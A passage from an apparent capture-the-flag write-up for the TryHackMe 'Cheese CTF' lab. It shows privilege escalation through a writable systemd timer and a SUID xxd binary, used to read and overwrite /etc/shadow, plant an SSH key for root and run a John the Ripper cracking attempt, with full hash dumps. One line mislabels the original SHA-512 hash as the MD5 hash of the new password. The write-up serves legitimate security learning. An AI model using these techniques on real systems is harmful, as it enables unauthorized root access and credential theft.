⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


THM{9f2ce3df1beeecaf

Shell as root

We can read the root flag directly if you want to remain just a script kiddie, not a professional hacker.

GIF
1
2
3
4
5
6
7
8
9
10
11
comte@cheesectf:~$ LFILE=/root/root.txt
comte@cheesectf:~$ cd /opt
comte@cheesectf:/opt$ ./xxd "$LFILE" | xxd -r
      _                           _       _ _  __
  ___| |__   ___  ___  ___  ___  (_)___  | (_)/ _| ___
 / __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | |  __/  __/\__ \  __/ | \__ \ | | |  _|  __/
 \___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_|  \___|


THM{dca7548609481080

Privilege Escalation via systemd Timer and Service Manipulation

Context of steps :

User comte has the ability to run systemctl commands without a password (NOPASSWD), specifically for managing the exploit.timer and daemon-reload.

The exploit.service file contains a one-shot service that runs a command to copy /usr/bin/xxd to /opt/xxd and set the SUID bit on it (chmod +sx).

The exploit.timer file lacks a configured time for when it should run, which suggests it needs to be manually triggered.

as you see those files no need to passwd instead of that we can use sudo just.

1
2
3
4
5
6
comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
    (ALL) NOPASSWD: /bin/systemctl daemon-reload
    (ALL) NOPASSWD: /bin/systemctl restart exploit.timer
    (ALL) NOPASSWD: /bin/systemctl start exploit.timer
    (ALL) NOPASSWD: /bin/systemctl enable exploit.timer
1
2
comte@cheesectf:~$ ls -lna /etc/systemd/system/exploit.timer
-rwxrwxrwx 1 0 0 87 Mar 29  2024 /etc/systemd/system/exploit.timer

Now as we known from previous enumeration that the Exploit.timer file is writable, let’s take a look at it.

Notice that you should consider whether you should use sudo or not, based on the permissions granted to each file.

1
2
3
4
5
6
7
8
9
comte@cheesectf:~$ cat /etc/systemd/system/exploit.timer
[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=

[Install]
WantedBy=timers.target

explore this service.

1
2
3
4
5
6
7
comte@cheesectf:~$ cat /etc/systemd/system/exploit.service
[Unit]
Description=Exploit Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
1
2
3
4
5
6
7
8
9
10
comte@cheesectf:~$ systemctl status exploit.timer

Failed to start exploit.timer: Unit exploit.timer has a bad unit file setting.
See system logs and 'systemctl status exploit.timer' for details.
comte@cheesectf:~$ systemctl status exploit.timer
● exploit.timer - Exploit Timer
     Loaded: bad-setting (Reason: Unit exploit.timer has a bad unit file setting.)
     Active: inactive (dead)
    Trigger: n/a
   Triggers: ● exploit.service

as you see bad-setting because wrong in Timer so must assign value to OnBootSec=

1
2
3
4
5
6
7
8
9
10
nano /etc/systemd/system/exploit.timer

[Unit]
Description=Exploit Timer

[Timer]
OnBootSec=0

[Install]
WantedBy=timers.target

Then reload the trigger(launcher) manually.

1
sudo /bin/systemctl daemon-reload

Activation a service.

1
sudo systemctl start exploit.timer

now is active

1
2
3
4
5
6
7
comte@cheesectf:~$ systemctl status exploit.timer

● exploit.timer - Exploit Timer
     Loaded: loaded (/etc/systemd/system/exploit.timer; disabled; vendor preset: enabled)
     Active: active (elapsed) since Tue 2024-10-01 15:47:25 UTC; 28min ago
    Trigger: n/a
   Triggers: ● exploit.service

finally we have file xxd added as SUID bit file.

1
2
3
4
5
comte@cheesectf:~$ ls -la /opt
total 28
drwxr-xr-x  2 root root  4096 Oct  1 15:47 .
drwxr-xr-x 19 root root  4096 Sep 27  2023 ..
-rwsr-sr-x  1 root root 18712 Oct  1 15:47 xxd

Checking into GTFObins for the xxd binary, we see that it can be used for writing to files.


Now we can take advantage of this by two methods.

option | /root/.ssh/authorized_keys

1
comte@cheesectf:~$ echo "ssh-rsa AAAAB3NzaC1y......" | xxd | /opt/xxd -r - /root/.ssh/authorized_keys
1
2
3
4
5
┌──(cracker㉿carcker)-[~/Desktop/THM/Cheese-CTF]
└─$ ssh -i cheese_rsa root@10.10.202.162

root@cheesectf:~# id
uid=0(root) gid=0(root) groups=0(root)

option || Modifying /etc/passwd to Set a Root Password

Summary : This method exploits the ability to edit the /etc/shadow file by replacing the hashed password for the root account. By generating a new password hash with OpenSSL and then modifying the shadow file using xxd, we can gain root access with a known password (0xcracker).

Step 1 : Generating a Hashed Password

First, we generate a hashed version of the desired password using OpenSSL. In this case, we use 0xcracker as the password:

1
2
omte@cheesectf:~$ openssl passwd -1 0xcracker
$1$klHBDaJf$wPfrs4ctpAFfFTdV7bB/B1

This command generates an MD5-based hash (-1 flag) that is compatible with /etc/shadow, where passwords are stored as hashes instead of plaintext.

Step 2 : Reading the /etc/shadow File Using xxd

Next, we read the contents of the /etc/shadow file using the xxd command, a tool that can dump a file in hexadecimal and reverse it back to its original format:

1
comte@cheesectf:~$ sudo xxd "$LFILE" | xxd -r
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
comte@cheesectf:/opt$ ./xxd "$LFILE" | xxd -r
root:$6$DwLLYKg9WAawlN1G$OAzr1yOwosOm0GaIRZZWWoIvo170oJKyvm7jjraZuXbrrfG06OImlE3EieXBCfqf8W.pUAjQevUgbdUqVykQo.:19627:0:99999:7:::                                                           
daemon:*:19430:0:99999:7:::                                                                                                                                                                  
bin:*:19430:0:99999:7:::                                                                                                                                                                     
sys:*:19430:0:99999:7:::                                                                                                                                                                     
sync:*:19430:0:99999:7:::                                                                                                                                                                    
games:*:19430:0:99999:7:::                                                                                                                                                                   
man:*:19430:0:99999:7:::                                                                                                                                                                     
lp:*:19430:0:99999:7:::                                                                                                                                                                      
mail:*:19430:0:99999:7:::                                                                                                                                                                    
news:*:19430:0:99999:7:::                                                                                                                                                                    
uucp:*:19430:0:99999:7:::                                                                                                                                                                    
proxy:*:19430:0:99999:7:::                                                                                                                                                                   
www-data:*:19430:0:99999:7:::                                                                                                                                                                
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19627:0:99999:7:::
sshd:*:19627:0:99999:7:::
systemd-coredump:!!:19627::::::
comte:$6$Ady72kRdzcA5YzaW$CUSQWFSxL3yilaDBPUCbK8ee0MU1JRvSoodgHgwqPrMXFKeAWpX5KasV3XBmy4QHsQ7KTx.8J2VeXP2j4UDVu1:19627:0:99999:7:::
lxd:!:19627::::::
mysql:!:19627:0:99999:7:::

This step ensures we have the correct format of the file to edit.

Step 3 : Crafting the Modified Entry

We take the hashed password generated earlier and craft a new string to replace the root user’s password in /etc/shadow. The format follows this structure:

1
username:$hash:lastchanged:min:max:warn:inactive:expire:reserved

the original /etc/shadow :

1
root:$6$DwLLYKg9WAawlN1G$OAzr1yOwosOm0GaIRZZWWoIvo170oJKyvm7jjraZuXbrrfG06OImlE3EieXBCfqf8W.pUAjQevUgbdUqVykQo.:19627:0:99999:7:::
  • root is the username.
  • $6$DwLLYKg9WAawlN1G$OAzr1yOwosOm0GaIRZZWWoIvo170oJKyvm7jjraZuXbrrfG06OImlE3EieXBCfqf8W.pUAjQevUgbdUqVykQo. is the MD5 hash of 0xcracker
  • The remaining numbers represent password aging information.

Step 4 : Writing the Modified Hash to /etc/shadow Using xxd again, we can overwrite the original root entry in /etc/shadow with our crafted hash. This is done with the following command:

1
comte@cheesectf:/opt$ echo 'root:$1$klHBDaJf$wPfrs4ctpAFfFTdV7bB/B1:19627:0:99999:7:::' | /opt/xxd | /opt/xxd -r - "$LFILE"

Step 5 : Verifying the Changes

again 😒

1
2
comte@cheesectf:/opt$ ./xxd "$LFILE" | xxd -r
root:$1$klHBDaJf$wPfrs4ctpAFfFTdV7bB/B1:19627:0:99999:7:::

Step 6 : Switching to Root Now that the root password is updated, we can switch to the root user with the new password (0xcracker):

1
2
3
4
comte@cheesectf:/opt$ su root
Password: 
root@cheesectf:/opt# id
uid=0(root) gid=0(root) groups=0(root)

option ||| using unshadow

I tried that, but somehow it failed.

You can check here for a deeper understanding.

The unshadow function combines the information from the /etc/passwd and /etc/shadow files, which is essential for cracking password hashes using tools like John the Ripper.

Reading file /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
comte@cheesectf:~$ LFILE=/etc/passwd
comte@cheesectf:~$ /opt/xxd "$LFILE" | /opt/xxd -r
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
comte:x:1000:1000:comte:/home/comte:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false

Reading file /etc/shadow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
comte@cheesectf:~$ LFILE=/etc/shadow
com
te@cheesectf:~$ /opt/xxd "$LFILE" | /opt/xxd -r
root:$6$DwLLYKg9WAawlN1G$OAzr1yOwosOm0GaIRZZWWoIvo170oJKyvm7jjraZuXbrrfG06OImlE3EieXBCfqf8W.pUAjQevUgbdUqVykQo.:19627:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19627:0:99999:7:::
sshd:*:19627:0:99999:7:::
systemd-coredump:!!:19627::::::
comte:$6$Ady72kRdzcA5YzaW$CUSQWFSxL3yilaDBPUCbK8ee0MU1JRvSoodgHgwqPrMXFKeAWpX5KasV3XBmy4QHsQ7KTx.8J2VeXP2j4UDVu1:19627:0:99999:7:::
lxd:!:19627::::::
mysql:!:19627:0:99999:7:::

Then copy each one to a file.

1
2
3
4
5
┌──(cracker㉿carcker)-[~/Desktop/THM/Cheese-CTF]
└─$ vi passwd                       
                                                                                                                                                                                             
┌──(cracker㉿carcker)-[~/Desktop/THM/Cheese-CTF]
└─$ vi shadow

Purpose of unshadow:

The unshadow command merges the /etc/passwd and /etc/shadow files into a single file that contains the required user information along with the corresponding password hashes.

This is necessary because password cracking tools like John the Ripper need both the username from /etc/passwd and the hashes from /etc/shadow in a combined format.

1
2
┌──(cracker㉿carcker)-[~/Desktop/THM/Cheese-CTF]
└─$ unshadow passwd shadow > hash_unshadow_passwd_and_shadow

Finally Cracking the Hash:, but unfortunately this method did not work in our case.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(cracker㉿carcker)-[~/Desktop/THM/Cheese-CTF]
└─$ john hash_unshadow_passwd_and_shadow -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:31 0.12% (ETA: 02:47:05) 0g/s 654.5p/s 1309c/s 1309C/s michael!..september7
0g 0:00:00:35 0.14% (ETA: 02:50:13) 0g/s 652.8p/s 1320c/s 1320C/s ceaser..teamoa
0g 0:00:00:41 0.16% (ETA: 02:49:34) 0g/s 657.8p/s 1328c/s 1328C/s 071184..010293
0g 0:00:03:32 1.00% (ETA: 01:36:10) 0g/s 796.1p/s 1594c/s 1594C/s millie23..machines1
0g 0:00:08:48 2.48% (ETA: 01:36:58) 0g/s 782.0p/s 1564c/s 1564C/s janilson..ja1991


This post is licensed under CC BY 4.0 by the author.